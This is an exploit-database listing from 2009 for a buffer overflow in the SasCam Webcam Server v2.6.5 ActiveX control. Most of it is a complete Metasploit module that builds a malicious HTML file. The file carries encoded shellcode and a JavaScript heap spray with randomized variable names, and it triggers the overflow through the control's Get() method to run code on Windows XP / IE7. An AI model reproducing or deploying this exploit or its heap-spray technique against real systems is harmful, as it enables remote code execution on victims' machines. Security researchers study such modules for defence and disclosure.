SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by deanType

packetstorm🔗 packetstormsecurity.com👁 15 Views

SasCam Webcam Server v.2.6.5 Buffer Overflow in Get() method allows remote code executio

`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SasCam Webcam Server v.2.6.5 Get() method Buffer Overflow',  
'Description' => %q{  
The SasCam Webcam Server ActiveX control is vulnerable to a buffer overflow.  
By passing an overly long argument via the Get method, a remote attacker could  
overflow a buffer and execute arbitrary code on the system with the privileges  
of the user. This control is not marked safe for scripting, please choose your   
attack vector carefully.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'OSVDB', '55945'],  
[ 'BID','33053' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3 / IE 7', { 'Ret' => 0x0c0c0c0c } ]   
],  
'DisclosureDate' => 'Dec 29 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),  
], self.class)  
end  
  
def exploit  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Set the return.  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30) + 2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<object id='#{vname}' classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'></object>  
<script language="JavaScript">  
var #{rand1} = unescape('#{shellcode}');  
var #{rand2} = unescape('#{ret}');  
var #{rand3} = 20;  
var #{rand4} = #{rand3} + #{rand1}.length;  
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};  
var #{rand5} = #{rand2}.substring(0,#{rand4});  
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});  
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};  
var #{rand7} = new Array();  
for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }  
var #{rand8} = "";  
for (#{var_i} = 0; #{var_i} < 8293; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }  
#{vname}.Get(#{rand8});  
</script>  
</html>  
|  
  
# create the file  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(content)  
  
end  
  
end  
  
`

26 Nov 2009 00:00Current

0.6Low risk

Vulners AI Score0.6